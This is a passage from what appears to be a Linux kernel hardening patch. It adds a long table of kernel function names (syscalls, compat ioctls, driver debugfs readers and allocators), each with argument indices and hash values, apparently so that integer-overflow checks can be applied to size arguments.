++_002935_hash pod_alloc_sysex_buffer 3 31651 _002935_hash NULL
++_002936_hash r8712_usbctrl_vendorreq 6 48489 _002936_hash NULL
++_002937_hash r871x_set_wpa_ie 3 7000 _002937_hash NULL
++_002938_hash sep_prepare_input_dma_table 2-3 2009 _002938_hash NULL
++_002940_hash sep_prepare_input_output_dma_table 2-4-3 63429 _002940_hash NULL
++_002943_hash sys_get_mempolicy 3 30379 _002943_hash NULL
++_002944_hash sys_mbind 5 7990 _002944_hash NULL
++_002945_hash sys_migrate_pages 2 39825 _002945_hash NULL
++_002946_hash sys_move_pages 2 42626 _002946_hash NULL
++_002947_hash sys_set_mempolicy 3 32608 _002947_hash NULL
++_002948_hash variax_alloc_sysex_buffer 3 15237 _002948_hash NULL
++_002949_hash vme_user_read 3 55338 _002949_hash NULL
++_002950_hash vme_user_write 3 15587 _002950_hash NULL
++_002954_hash variax_set_raw2 4 32374 _002954_hash NULL
++_002955_hash copy_in_user 3 57502 _002955_hash NULL
++_002956_hash __earlyonly_bootmem_alloc 2 23824 _002956_hash NULL
++_002957_hash rfc4106_set_key 3 54519 _002957_hash NULL
++_002958_hash sparse_early_usemaps_alloc_pgdat_section 2 62304 _002958_hash NULL
++_002959_hash sparse_early_usemaps_alloc_node 4 9269 _002959_hash NULL
++_002960_hash sparse_mem_maps_populate_node 4 12669 _002960_hash &_002242_hash
++_002961_hash vmemmap_alloc_block 1 43245 _002961_hash NULL
++_002962_hash sparse_early_mem_maps_alloc_node 4 36971 _002962_hash NULL
++_002963_hash vmemmap_alloc_block_buf 1 61126 _002963_hash NULL
++_002964_hash alloc_mr 1 45935 _002964_hash NULL
++_002965_hash atomic_counters_read 3 48827 _002965_hash NULL
++_002966_hash atomic_stats_read 3 36228 _002966_hash NULL
++_002967_hash capabilities_read 3 58457 _002967_hash NULL
++_002968_hash compat_core_sys_select 1 65285 _002968_hash NULL
++_002969_hash compat_dccp_setsockopt 5 51263 _002969_hash NULL
++_002970_hash compat_do_arpt_set_ctl 4 12184 _002970_hash NULL
++_002971_hash compat_do_ip6t_set_ctl 4 3184 _002971_hash NULL
++_002972_hash compat_do_ipt_set_ctl 4 58466 _002972_hash &_002078_hash
++_002973_hash compat_filldir 3 32999 _002973_hash NULL
++_002974_hash compat_filldir64 3 35354 _002974_hash NULL
++_002975_hash compat_fillonedir 3 15620 _002975_hash NULL
++_002976_hash compat_ip_setsockopt 5 13870 _003094_hash NULL nohasharray
++_002977_hash compat_ipv6_setsockopt 5 20468 _002977_hash NULL
++_002978_hash compat_mpctl_ioctl 2 45671 _002978_hash NULL
++_002979_hash compat_raw_setsockopt 5 30634 _002979_hash NULL
++_002980_hash compat_rawv6_setsockopt 5 4967 _002980_hash NULL
++_002981_hash compat_rw_copy_check_uvector 3 22001 _003263_hash NULL nohasharray
++_002982_hash compat_sock_setsockopt 5 23 _002982_hash NULL
++_002983_hash compat_sys_get_mempolicy 3 31109 _002983_hash NULL
++_002984_hash compat_sys_kexec_load 2 35674 _002984_hash NULL
++_002985_hash compat_sys_keyctl 4 9639 _002985_hash NULL
++_002986_hash compat_sys_mbind 5 36256 _002986_hash NULL
++_002987_hash compat_sys_migrate_pages 2 3157 _002987_hash NULL
++_002988_hash compat_sys_move_pages 2 5861 _002988_hash NULL
++_002989_hash compat_sys_mq_timedsend 3 31060 _002989_hash NULL
++_002990_hash compat_sys_msgrcv 2 7482 _002990_hash NULL
++_002991_hash compat_sys_msgsnd 2 10738 _002991_hash NULL
++_002992_hash compat_sys_semtimedop 3 3606 _002992_hash NULL
++_002993_hash compat_sys_set_mempolicy 3 57742 _002993_hash &_002614_hash
++_002994_hash __copy_in_user 3 34790 _002994_hash NULL
++_002995_hash dev_counters_read 3 19216 _002995_hash NULL
++_002996_hash dev_names_read 3 38509 _002996_hash NULL
++_002997_hash driver_names_read 3 60399 _002997_hash NULL
++_002998_hash driver_stats_read 3 8944 _002998_hash NULL
++_002999_hash evdev_ioctl_compat 2 13851 _002999_hash NULL
++_003000_hash evtchn_read 3 3569 _003000_hash NULL
++_003001_hash evtchn_write 3 43278 _003001_hash NULL
++_003002_hash fat_compat_ioctl_filldir 3 36328 _003002_hash NULL
++_003003_hash flash_read 3 57843 _003003_hash NULL
++_003004_hash flash_write 3 62354 _003004_hash NULL
++_003005_hash fw_device_op_compat_ioctl 2 42804 _003005_hash NULL
++_003006_hash gather_array 3 56641 _003006_hash NULL
++_003007_hash ghash_async_setkey 3 60001 _003007_hash NULL
++_003008_hash gntdev_alloc_map 2 35145 _003008_hash NULL
++_003009_hash gnttab_map 2 56439 _003009_hash NULL
++_003010_hash gru_alloc_gts 2-3 60056 _003010_hash &_000981_hash
++_003012_hash hiddev_compat_ioctl 2 41255 _003012_hash NULL
++_003013_hash init_cdev 1 8274 _003013_hash NULL
++_003014_hash init_per_cpu 1 17880 _003014_hash NULL
++_003015_hash ipath_create_cq 2 45586 _003015_hash NULL
++_003016_hash ipath_get_base_info 3 7043 _003016_hash NULL
++_003017_hash ipath_init_qp_table 2 25167 _003017_hash NULL
++_003018_hash ipath_resize_cq 2 712 _003018_hash NULL
++_003019_hash joydev_compat_ioctl 2 8765 _003019_hash NULL
++_003020_hash mon_bin_compat_ioctl 3 50234 _003020_hash NULL
++_003021_hash options_write 3 47243 _003021_hash NULL
++_003022_hash portcntrs_1_read 3 47253 _003022_hash NULL
++_003023_hash portcntrs_2_read 3 56586 _003023_hash NULL
++_003024_hash portnames_read 3 41958 _003024_hash NULL
++_003025_hash ptc_proc_write 3 12076 _003025_hash NULL
++_003026_hash put_cmsg_compat 4 35937 _003026_hash NULL
++_003027_hash qib_alloc_devdata 2 51819 _003027_hash NULL
++_003028_hash qib_alloc_fast_reg_page_list 2 10507 _003028_hash NULL
++_003029_hash qib_cdev_init 1 34778 _003029_hash NULL
++_003030_hash qib_create_cq 2 27497 _003030_hash NULL
++_003031_hash qib_diag_write 3 62133 _003031_hash NULL
++_003032_hash qib_get_base_info 3 11369 _003032_hash NULL
++_003033_hash qib_resize_cq 2 53090 _003033_hash NULL
++_003034_hash qsfp_1_read 3 21915 _003034_hash NULL
++_003035_hash qsfp_2_read 3 31491 _003035_hash NULL
++_003036_hash queue_reply 3 22416 _003036_hash NULL
++_003037_hash spidev_compat_ioctl 2 63778 _003037_hash NULL
++_003038_hash split 2 11691 _003038_hash NULL
++_003039_hash stats_read_ul 3 32751 _003039_hash NULL
++_003040_hash sys32_ipc 3 7238 _003040_hash NULL
++_003041_hash sys32_rt_sigpending 2 25814 _003041_hash NULL
++_003042_hash tunables_read 3 36385 _003042_hash NULL
++_003043_hash tunables_write 3 59563 _003043_hash NULL
++_003044_hash xenbus_file_write 3 6282 _003044_hash NULL
++_003045_hash xlbd_reserve_minors 1-2 18365 _003045_hash NULL
++_003047_hash xpc_kmalloc_cacheline_aligned 1 42895 _003047_hash NULL
++_003048_hash xpc_kzalloc_cacheline_aligned 1 65433 _003048_hash NULL
++_003049_hash xsd_read 3 15653 _003049_hash NULL
++_003050_hash compat_do_readv_writev 4 49102 _003050_hash NULL
++_003051_hash compat_keyctl_instantiate_key_iov 3 57431 _003088_hash NULL nohasharray
++_003052_hash compat_process_vm_rw 3-5 22254 _003052_hash NULL
++_003054_hash compat_sys_select 1 16131 _003054_hash NULL
++_003055_hash compat_sys_setsockopt 5 3326 _003055_hash NULL
++_003056_hash compat_udp_setsockopt 5 38840 _003056_hash NULL
++_003057_hash compat_udpv6_setsockopt 5 42981 _003057_hash NULL
++_003058_hash do_compat_pselect 1 10398 _003058_hash NULL
++_003059_hash gnttab_expand 1 15817 _003059_hash NULL
++_003060_hash ipath_cdev_init 1 37752 _003060_hash NULL
++_003061_hash ipath_reg_phys_mr 3 23918 _003061_hash &_000999_hash
++_003062_hash qib_alloc_fast_reg_mr 2 12526 _003062_hash NULL
++_003063_hash qib_reg_phys_mr 3 60202 _003063_hash &_000897_hash
++_003064_hash compat_readv 3 30273 _003064_hash NULL
++_003065_hash compat_sys_process_vm_readv 3-5 15374 _003065_hash NULL
++_003067_hash compat_sys_process_vm_writev 3-5 41194 _003067_hash NULL
++_003069_hash compat_sys_pselect6 1 14105 _003069_hash NULL
++_003070_hash compat_writev 3 60063 _003070_hash NULL
++_003071_hash get_free_entries 1 46030 _003071_hash NULL
++_003072_hash compat_sys_preadv64 3 24283 _003072_hash NULL
++_003073_hash compat_sys_pwritev64 3 51151 _003073_hash NULL
++_003074_hash compat_sys_readv 3 20911 _003074_hash NULL
++_003075_hash compat_sys_writev 3 5784 _003075_hash NULL
++_003076_hash gnttab_alloc_grant_references 1 18240 _003076_hash NULL
++_003077_hash compat_sys_preadv 3 583 _003077_hash NULL
++_003078_hash compat_sys_pwritev 3 17886 _003078_hash NULL
++_003079_hash aes_decrypt_fail_read 3 54815 _003079_hash NULL
++_003080_hash aes_decrypt_interrupt_read 3 19910 _003080_hash NULL
++_003081_hash aes_decrypt_packets_read 3 10155 _003081_hash NULL
++_003082_hash aes_encrypt_fail_read 3 32562 _003082_hash NULL
++_003083_hash aes_encrypt_interrupt_read 3 39919 _003083_hash NULL
++_003084_hash aes_encrypt_packets_read 3 48666 _003084_hash NULL
++_003085_hash agp_remap 2 30665 _003085_hash NULL
++_003086_hash alloc_apertures 1 56561 _003086_hash NULL
++_003087_hash allocate_probes 1 40204 _003087_hash NULL
++_003088_hash alloc_ftrace_hash 1 57431 _003088_hash &_003051_hash
++_003089_hash alloc_page_cgroup 1 2919 _003089_hash NULL
++_003090_hash __alloc_preds 2 9492 _003090_hash NULL
++_003091_hash __alloc_pred_stack 2 26687 _003091_hash NULL
++_003092_hash alloc_sched_domains 1 47756 _003092_hash NULL
++_003093_hash alloc_trace_probe 6 38720 _003093_hash NULL
++_003094_hash alloc_trace_uprobe 3 13870 _003094_hash &_002976_hash
++_003095_hash ath6kl_sdio_alloc_prep_scat_req 2 51986 _003095_hash NULL
++_003096_hash ath6kl_usb_post_recv_transfers 2 32892 _003096_hash NULL
++_003097_hash ath6kl_usb_submit_ctrl_in 6 32880 _003097_hash &_000795_hash
++_003098_hash ath6kl_usb_submit_ctrl_out 6 9978 _003098_hash NULL
++_003099_hash av7110_ipack_init 2 46655 _003099_hash NULL
++_003100_hash av7110_vbi_write 3 34384 _003100_hash NULL
++_003101_hash bin_uuid 3 28999 _003101_hash NULL
++_003102_hash blk_dropped_read 3 4168 _003102_hash NULL
++_003103_hash blk_msg_write 3 13655 _003103_hash NULL
++_003104_hash brcmf_usbdev_qinit 2 19090 _003104_hash &_001715_hash
++_003105_hash brcmf_usb_dl_cmd 4 53130 _003105_hash NULL
++_003106_hash ci_ll_init 3 12930 _003106_hash NULL
++_003107_hash ci_ll_write 4 3740 _003107_hash NULL
++_003108_hash conf_read 3 55786 _003108_hash NULL
++_003109_hash __copy_from_user_inatomic_nocache 3 49921 _003109_hash NULL
++_003110_hash cx24116_writeregN 4 41975 _003110_hash NULL
++_003111_hash cyttsp_probe 4 1940 _003111_hash NULL
++_003112_hash dccpprobe_read 3 52549 _003112_hash NULL
++_003113_hash ddb_input_read 3 9743 _003113_hash NULL
++_003114_hash ddb_output_write 3 31902 _003114_hash NULL
++_003115_hash __devres_alloc 2 25598 _003115_hash NULL
++_003116_hash dma_rx_errors_read 3 52045 _003116_hash NULL
++_003117_hash dma_rx_requested_read 3 65354 _003117_hash NULL
++_003118_hash dma_tx_errors_read 3 46060 _003118_hash NULL
++_003119_hash dma_tx_requested_read 3 16110 _003203_hash NULL nohasharray
++_003120_hash do_dmabuf_dirty_sou 7 3017 _003120_hash NULL
++_003121_hash do_surface_dirty_sou 7 39678 _003121_hash NULL
++_003122_hash driver_state_read 3 17194 _003122_hash &_001511_hash
++_003123_hash drm_agp_bind_pages 3 56748 _003123_hash NULL
++_003124_hash drm_buffer_alloc 2 44405 _003124_hash NULL
++_003125_hash drm_calloc_large 1-2 65421 _003125_hash NULL
++_003127_hash drm_fb_helper_init 3-4 19044 _003127_hash NULL
++_003129_hash drm_ht_create 2 18853 _003129_hash NULL
++_003130_hash drm_ioctl 2 42813 _003130_hash NULL
++_003131_hash drm_malloc_ab 1-2 16831 _003131_hash NULL
++_003133_hash drm_mode_crtc_set_gamma_size 2 31881 _003133_hash NULL
++_003134_hash drm_plane_init 6 28731 _003134_hash NULL
++_003135_hash drm_property_create 4 51239 _003135_hash NULL
++_003136_hash drm_property_create_blob 2 7414 _003136_hash NULL
++_003137_hash drm_vblank_init 2 11362 _003137_hash NULL
++_003138_hash drm_vmalloc_dma 1 14550 _003138_hash NULL
++_003139_hash dvb_aplay 3 56296 _003139_hash NULL
++_003140_hash dvb_ca_en50221_init 4 45718 _003140_hash NULL
++_003141_hash dvb_ca_en50221_io_write 3 43533 _003141_hash NULL
++_003142_hash dvb_dmxdev_set_buffer_size 2 55643 _003142_hash NULL
++_003143_hash dvbdmx_write 3 19423 _003143_hash NULL
++_003144_hash dvb_dvr_set_buffer_size 2 9840 _003144_hash NULL
++_003145_hash dvb_net_sec 3 37884 _003145_hash NULL
++_003146_hash dvb_play 3 50814 _003146_hash NULL
++_003147_hash dvb_ringbuffer_pkt_read_user 2-5-3 4303 _003147_hash NULL
++_003150_hash dvb_ringbuffer_read_user 3 56702 _003150_hash NULL
++_003151_hash dvb_usercopy 2 14036 _003151_hash NULL
++_003152_hash dw210x_op_rw 6 39915 _003152_hash NULL
++_003153_hash edt_ft5x06_debugfs_raw_data_read 3 28002 _003153_hash NULL
++_003154_hash em_canid_change 3 14150 _003154_hash NULL
++_003155_hash event_calibration_read 3 21083 _003155_hash NULL
++_003156_hash event_enable_read 3 7074 _003156_hash NULL
++_003157_hash event_filter_read 3 23494 _003157_hash NULL
++_003158_hash event_filter_write 3 56609 _003158_hash NULL
++_003159_hash event_heart_beat_read 3 48961 _003159_hash NULL
++_003160_hash event_id_read 3 64288 _003160_hash &_001300_hash
++_003161_hash event_oom_late_read 3 61175 _003161_hash &_001054_hash
++_003162_hash event_phy_transmit_error_read 3 10471 _003162_hash NULL
++_003163_hash event_rx_mem_empty_read 3 40363 _003163_hash NULL
++_003164_hash event_rx_mismatch_read 3 38518 _003164_hash NULL
++_003165_hash event_rx_pool_read 3 25792 _003165_hash NULL
++_003166_hash event_tx_stuck_read 3 19305 _003166_hash NULL
++_003167_hash excessive_retries_read 3 60425 _003167_hash NULL
++_003168_hash flexcop_device_kmalloc 1 54793 _003168_hash NULL
++_003169_hash fm_send_cmd 5 39639 _003169_hash NULL
++_003170_hash __fprog_create 2 41263 _003170_hash NULL
++_003171_hash fq_codel_zalloc 1 15378 _003171_hash NULL
++_003172_hash ftrace_pid_write 3 39710 _003172_hash NULL
++_003173_hash ftrace_profile_read 3 21327 _003173_hash NULL
++_003174_hash fw_stats_raw_read 3 1369 _003174_hash NULL
++_003175_hash get_info 3 55681 _003175_hash NULL
++_003176_hash __get_vm_area_node 1 55305 _003176_hash NULL
++_003177_hash gpio_power_read 3 36059 _003177_hash NULL
++_003178_hash h5_prepare_pkt 4 12085 _003178_hash NULL
++_003179_hash hsc_msg_alloc 1 60990 _003179_hash NULL
++_003180_hash hsc_write 3 55875 _003180_hash NULL
++_003181_hash hsi_alloc_controller 1 41802 _003181_hash NULL
++_003182_hash hsi_register_board_info 2 13820 _003182_hash NULL
++_003183_hash hugetlb_cgroup_read 5 49259 _003183_hash NULL
++_003184_hash i915_cache_sharing_read 3 24775 _003184_hash NULL
++_003185_hash i915_cache_sharing_write 3 57961 _003185_hash NULL
++_003186_hash i915_max_freq_read 3 20581 _003186_hash NULL
++_003187_hash i915_max_freq_write 3 11350 _003187_hash NULL
++_003188_hash i915_min_freq_read 3 38470 _003188_hash NULL
++_003189_hash i915_min_freq_write 3 10981 _003189_hash NULL
++_003190_hash i915_ring_stop_read 3 42549 _003190_hash &_000740_hash
++_003191_hash i915_ring_stop_write 3 59010 _003191_hash NULL
++_003192_hash i915_wedged_read 3 35474 _003192_hash NULL
++_003193_hash i915_wedged_write 3 47771 _003193_hash NULL
++_003194_hash ieee802154_alloc_device 1 13767 _003194_hash NULL
++_003195_hash intel_sdvo_write_cmd 4 54377 _003195_hash &_000832_hash
++_003196_hash isr_cmd_cmplt_read 3 53439 _003196_hash NULL
++_003197_hash isr_commands_read 3 41398 _003197_hash NULL
++_003198_hash isr_decrypt_done_read 3 49490 _003198_hash NULL
++_003199_hash isr_dma0_done_read 3 8574 _003199_hash NULL
++_003200_hash isr_dma1_done_read 3 48159 _003200_hash NULL
++_003201_hash isr_fiqs_read 3 34687 _003201_hash NULL
++_003202_hash isr_host_acknowledges_read 3 54136 _003202_hash NULL
++_003203_hash isr_hw_pm_mode_changes_read 3 16110 _003203_hash &_003119_hash
++_003204_hash isr_irqs_read 3 9181 _003204_hash NULL
++_003205_hash isr_low_rssi_read 3 64789 _003205_hash NULL
++_003206_hash isr_pci_pm_read 3 30271 _003206_hash NULL
++_003207_hash isr_rx_headers_read 3 38325 _003207_hash NULL
++_003208_hash isr_rx_mem_overflow_read 3 43025 _003208_hash NULL
++_003209_hash isr_rx_procs_read 3 31804 _003209_hash NULL
++_003210_hash isr_rx_rdys_read 3 35283 _003210_hash NULL
++_003211_hash isr_tx_exch_complete_read 3 16103 _003211_hash NULL
++_003212_hash isr_tx_procs_read 3 23084 _003212_hash NULL
++_003213_hash isr_wakeups_read 3 49607 _003213_hash NULL
++_003214_hash LoadBitmap 2 19658 _003214_hash NULL
++_003215_hash mem_cgroup_read 5 22461 _003215_hash NULL
++_003216_hash mic_calc_failure_read 3 59700 _003216_hash NULL
++_003217_hash mic_rx_pkts_read 3 27972 _003217_hash NULL
++_003218_hash __module_alloc 1 50004 _003218_hash NULL
++_003219_hash module_alloc_update_bounds_rw 1 63233 _003219_hash NULL
++_003220_hash module_alloc_update_bounds_rx 1 58634 _003220_hash NULL
++_003221_hash mwifiex_usb_submit_rx_urb 2 54558 _003221_hash NULL
++_003222_hash nfc_hci_hcp_message_tx 6 14534 _003222_hash NULL
++_003223_hash nfc_hci_set_param 5 40697 _003223_hash NULL
++_003224_hash nfc_shdlc_alloc_skb 2 12741 _003224_hash NULL
++_003225_hash opera1_xilinx_rw 5 31453 _003225_hash NULL
++_003226_hash persistent_ram_vmap 1-2 709 _003226_hash NULL
++_003228_hash prctl_set_mm 3 64538 _003228_hash NULL
++_003229_hash probe_kernel_write 3 17481 _003229_hash NULL
++_003230_hash proc_fault_inject_read 3 36802 _003230_hash NULL
++_003231_hash proc_fault_inject_write 3 21058 _003231_hash NULL
++_003232_hash ps_pspoll_max_apturn_read 3 6699 _003232_hash NULL
++_003233_hash ps_pspoll_timeouts_read 3 11776 _003233_hash NULL
++_003234_hash ps_pspoll_utilization_read 3 5361 _003234_hash NULL
++_003235_hash ps_upsd_max_apturn_read 3 19918 _003235_hash NULL
++_003236_hash ps_upsd_max_sptime_read 3 63362 _003236_hash NULL
++_003237_hash ps_upsd_timeouts_read 3 28924 _003237_hash NULL
++_003238_hash ps_upsd_utilization_read 3 51669 _003238_hash NULL
++_003239_hash ptp_filter_init 2 36780 _003239_hash NULL
++_003240_hash pwr_disable_ps_read 3 13176 _003240_hash NULL
++_003241_hash pwr_elp_enter_read 3 5324 _003241_hash NULL
++_003242_hash pwr_enable_ps_read 3 17686 _003242_hash NULL
++_003243_hash pwr_fix_tsf_ps_read 3 26627 _003243_hash NULL
++_003244_hash pwr_missing_bcns_read 3 25824 _003244_hash NULL
++_003245_hash pwr_power_save_off_read 3 18355 _003245_hash NULL
++_003246_hash pwr_ps_enter_read 3 26935 _003246_hash &_000512_hash
++_003247_hash pwr_rcvd_awake_beacons_read 3 50505 _003247_hash NULL
++_003248_hash pwr_rcvd_beacons_read 3 52836 _003248_hash NULL
++_003249_hash pwr_tx_without_ps_read 3 48423 _003249_hash NULL
++_003250_hash pwr_tx_with_ps_read 3 60851 _003250_hash NULL
++_003251_hash pwr_wake_on_host_read 3 26321 _003251_hash NULL
++_003252_hash pwr_wake_on_timer_exp_read 3 22640 _003252_hash NULL
++_003253_hash rb_simple_read 3 45972 _003253_hash NULL
++_003254_hash read_file_dfs 3 43145 _003254_hash NULL
++_003255_hash retry_count_read 3 52129 _003255_hash NULL
++_003256_hash rx_dropped_read 3 44799 _003256_hash NULL
++_003257_hash rx_fcs_err_read 3 62844 _003257_hash NULL
++_003258_hash rx_hdr_overflow_read 3 64407 _003258_hash NULL
++_003259_hash rx_hw_stuck_read 3 57179 _003259_hash NULL
++_003260_hash rx_out_of_mem_read 3 10157 _003260_hash NULL
++_003261_hash rx_path_reset_read 3 23801 _003261_hash NULL
++_003262_hash rxpipe_beacon_buffer_thres_host_int_trig_rx_data_read 3 55106 _003262_hash NULL
++_003263_hash rxpipe_descr_host_int_trig_rx_data_read 3 22001 _003263_hash &_002981_hash
++_003264_hash rxpipe_missed_beacon_host_int_trig_rx_data_read 3 63405 _003264_hash NULL
++_003265_hash rxpipe_rx_prep_beacon_drop_read 3 2403 _003265_hash NULL
++_003266_hash rxpipe_tx_xfr_host_int_trig_rx_data_read 3 35538 _003266_hash NULL
++_003267_hash rx_reset_counter_read 3 58001 _003267_hash NULL
++_003268_hash rx_xfr_hint_trig_read 3 40283 _003268_hash NULL
++_003269_hash saa7146_vmalloc_build_pgtable 2 19780 _003269_hash NULL
++_003270_hash sched_feat_write 3 55202 _003270_hash NULL
++_003271_hash sd_alloc_ctl_entry 1 29708 _003271_hash NULL
++_003272_hash shmem_pread_fast 3 34147 _003272_hash NULL
++_003273_hash shmem_pread_slow 3 3198 _003273_hash NULL
++_003274_hash shmem_pwrite_slow 3 31741 _003274_hash NULL
++_003275_hash show_header 3 4722 _003275_hash &_000745_hash
++_003276_hash stack_max_size_read 3 1445 _003276_hash NULL
++_003277_hash subsystem_filter_read 3 62310 _003277_hash NULL
++_003278_hash subsystem_filter_write 3 13022 _003278_hash NULL
++_003279_hash swap_cgroup_swapon 2 13614 _003279_hash NULL
++_003280_hash system_enable_read 3 25815 _003280_hash NULL
++_003281_hash tda10048_writeregbulk 4 11050 _003281_hash NULL
++_003282_hash tlbflush_read_file 3 64661 _003282_hash NULL
++_003283_hash trace_options_core_read 3 47390 _003283_hash NULL
++_003284_hash trace_options_read 3 11419 _003284_hash NULL
++_003285_hash trace_parser_get_init 2 31379 _003285_hash NULL
++_003286_hash traceprobe_probes_write 3 64969 _003286_hash NULL
++_003287_hash trace_seq_to_user 3 65398 _003287_hash NULL
++_003288_hash tracing_buffers_read 3 11124 _003288_hash NULL
++_003289_hash tracing_clock_write 3 27961 _003289_hash NULL
++_003290_hash tracing_cpumask_read 3 7010 _003290_hash NULL
++_003291_hash tracing_ctrl_read 3 46922 _003291_hash NULL
++_003292_hash tracing_entries_read 3 8345 _003292_hash NULL
++_003293_hash tracing_max_lat_read 3 8890 _003293_hash NULL
++_003294_hash tracing_read_dyn_info 3 45468 _003294_hash NULL
++_003295_hash tracing_readme_read 3 16493 _003295_hash NULL
++_003296_hash tracing_saved_cmdlines_read 3 21434 _003296_hash NULL
++_003297_hash tracing_set_trace_read 3 44122 _003297_hash NULL
++_003298_hash tracing_set_trace_write 3 57096 _003298_hash NULL
++_003299_hash tracing_stats_read 3 34537 _003299_hash NULL
++_003300_hash tracing_total_entries_read 3 62817 _003300_hash NULL
++_003301_hash tracing_trace_options_write 3 153 _003301_hash NULL
++_003302_hash tstats_write 3 60432 _003302_hash &_000009_hash
++_003303_hash ttm_bo_fbdev_io 4 9805 _003303_hash NULL
++_003304_hash ttm_bo_io 5 47000 _003304_hash NULL
++_003305_hash ttm_dma_page_pool_free 2 34135 _003305_hash NULL
++_003306_hash ttm_page_pool_free 2 61661 _003306_hash NULL
++_003307_hash ttusb2_msg 4 3100 _003307_hash NULL
++_003308_hash tx_internal_desc_overflow_read 3 47300 _003308_hash NULL
++_003309_hash tx_queue_len_read 3 1463 _003309_hash NULL
++_003310_hash tx_queue_status_read 3 44978 _003310_hash NULL
++_003311_hash u_memcpya 2-3 30139 _003311_hash NULL
++_003313_hash usb_allocate_stream_buffers 3 8964 _003313_hash NULL
++_003314_hash vifs_state_read 3 33762 _003314_hash NULL
++_003315_hash vmalloc_to_sg 2 58354 _003315_hash NULL
++_003316_hash vm_map_ram 2 23078 _003316_hash &_001095_hash
++_003317_hash vmw_execbuf_process 5 22885 _003317_hash NULL
++_003318_hash vmw_fifo_reserve 2 12141 _003318_hash NULL
++_003319_hash vmw_kms_present 9 38130 _003319_hash NULL
++_003320_hash vmw_kms_readback 6 5727 _003320_hash NULL
++_003321_hash wep_addr_key_count_read 3 20174 _003321_hash NULL
++_003322_hash wep_decrypt_fail_read 3 58567 _003322_hash NULL
++_003323_hash wep_default_key_count_read 3 43035 _003323_hash NULL
++_003324_hash wep_interrupt_read 3 41492 _003324_hash NULL
++_003325_hash wep_key_not_found_read 3 13377 _003325_hash &_000952_hash
++_003326_hash wep_packets_read 3 18751 _003326_hash NULL
++_003327_hash wl1251_cmd_template_set 4 6172 _003327_hash NULL
++_003328_hash wl1271_format_buffer 2 20834 _003328_hash NULL
++_003329_hash wl1271_rx_filter_alloc_field 5 46721 _003329_hash NULL
++_003330_hash wl12xx_cmd_build_probe_req 6-8 54946 _003330_hash NULL
++_003332_hash wlcore_alloc_hw 1 7785 _003332_hash NULL
++_003333_hash aggr_size_rx_size_read 3 33526 _003333_hash NULL
++_003334_hash aggr_size_tx_agg_vs_rate_read 3 21438 _003334_hash NULL
++_003335_hash alloc_and_copy_ftrace_hash 1 29368 _003335_hash NULL
++_003336_hash alloc_bulk_urbs_generic 5 12127 _003336_hash NULL
++_003337_hash alloc_ieee80211 1 20063 _003337_hash NULL
++_003338_hash alloc_ieee80211_rsl 1 34564 _003338_hash NULL
++_003339_hash alloc_perm_bits 2 1532 _003339_hash NULL
++_003340_hash alloc_private 2 22399 _003340_hash NULL
++_003341_hash alloc_rtllib 1 51136 _003341_hash NULL
++_003342_hash alloc_rx_desc_ring 2 18016 _003342_hash NULL
++_003343_hash arcfb_write 3 8702 _003343_hash NULL
++_003344_hash ath6kl_usb_bmi_read 3 48745 _003344_hash NULL
++_003345_hash ath6kl_usb_bmi_write 3 2454 _003345_hash &_001020_hash
++_003346_hash ath6kl_usb_ctrl_msg_exchange 4 33327 _003346_hash NULL
++_003347_hash au0828_init_isoc 2-3 61917 _003347_hash NULL
++_003349_hash auok190xfb_write 3 37001 _003349_hash NULL
++_003350_hash beacon_interval_read 3 7091 _003350_hash NULL
++_003351_hash brcmf_usb_attach 1-2 44656 _003351_hash NULL
++_003353_hash broadsheetfb_write 3 39976 _003353_hash NULL
++_003354_hash broadsheet_spiflash_rewrite_sector 2 54864 _003354_hash NULL
++_003355_hash ci13xxx_add_device 3 14456 _003355_hash NULL
++_003356_hash cmpk_message_handle_tx 4 54024 _003356_hash NULL
++_003357_hash comedi_alloc_subdevices 2 29207 _003357_hash NULL
++_003358_hash comedi_buf_alloc 3 24822 _003358_hash NULL
++_003359_hash comedi_read 3 13199 _003359_hash NULL
++_003360_hash comedi_write 3 47926 _003360_hash NULL
++_003361_hash create_trace_probe 1 20175 _003361_hash NULL
++_003362_hash create_trace_uprobe 1 13184 _003362_hash NULL
++_003363_hash cx18_copy_buf_to_user 4 22735 _003363_hash NULL
++_003364_hash cx231xx_init_bulk 2-3 47024 _003364_hash NULL
++_003366_hash cx231xx_init_isoc 2-3 56453 _003366_hash NULL
++_003368_hash cx231xx_init_vbi_isoc 2-3 28053 _003368_hash NULL
++_003370_hash da9052_group_write 3 4534 _003370_hash NULL
++_003371_hash debug_debug1_read 3 8856 _003371_hash NULL
++_003372_hash debug_debug2_read 3 30526 _003372_hash NULL
++_003373_hash debug_debug3_read 3 56894 _003373_hash NULL
++_003374_hash debug_debug4_read 3 61367 _003374_hash NULL
++_003375_hash debug_debug5_read 3 2291 _003375_hash NULL
++_003376_hash debug_debug6_read 3 33168 _003376_hash NULL
++_003377_hash dev_read 3 56369 _003377_hash NULL
++_003378_hash do_dmabuf_dirty_ldu 6 52241 _003378_hash NULL
++_003379_hash drm_compat_ioctl 2 51717 _003379_hash NULL
++_003380_hash drm_mode_create_tv_properties 2 23122 _003380_hash NULL
++_003381_hash drm_property_create_bitmask 5 30195 _003381_hash NULL
++_003382_hash drm_property_create_enum 5 29201 _003382_hash NULL
++_003383_hash dsp_buffer_alloc 2 11684 _003383_hash NULL
++_003384_hash dt3155_alloc_coherent 2 58073 _003384_hash NULL
++_003385_hash dtim_interval_read 3 654 _003385_hash NULL
++_003386_hash dvb_audio_write 3 51275 _003386_hash NULL
++_003387_hash dvb_ca_en50221_io_ioctl 2 26490 _003387_hash NULL
++_003388_hash dvb_ca_write 3 41171 _003388_hash NULL
++_003389_hash dvb_demux_ioctl 2 42733 _003389_hash NULL
++_003390_hash dvb_dmxdev_buffer_read 4 20682 _003390_hash NULL
++_003391_hash dvb_dvr_ioctl 2 49182 _003391_hash NULL
++_003392_hash dvb_generic_ioctl 2 21810 _003392_hash NULL
++_003393_hash dvb_net_ioctl 2 61559 _003393_hash NULL
++_003394_hash dvb_net_sec_callback 2 28786 _003394_hash NULL
++_003396_hash dvb_video_write 3 754 _003396_hash NULL
++_003397_hash dynamic_ps_timeout_read 3 10110 _003397_hash NULL
++_003398_hash easycap_alsa_vmalloc 2 14426 _003398_hash NULL
++_003399_hash em28xx_alloc_isoc 4 46892 _003399_hash NULL
++_003400_hash error_error_bar_retry_read 3 64305 _003400_hash NULL
++_003401_hash error_error_frame_cts_nul_flid_read 3 17262 _003401_hash NULL
++_003402_hash error_error_frame_read 3 39947 _003402_hash &_002436_hash
++_003403_hash error_error_null_Frame_tx_start_read 3 55024 _003403_hash NULL
++_003404_hash error_error_numll_frame_cts_start_read 3 47781 _003404_hash NULL
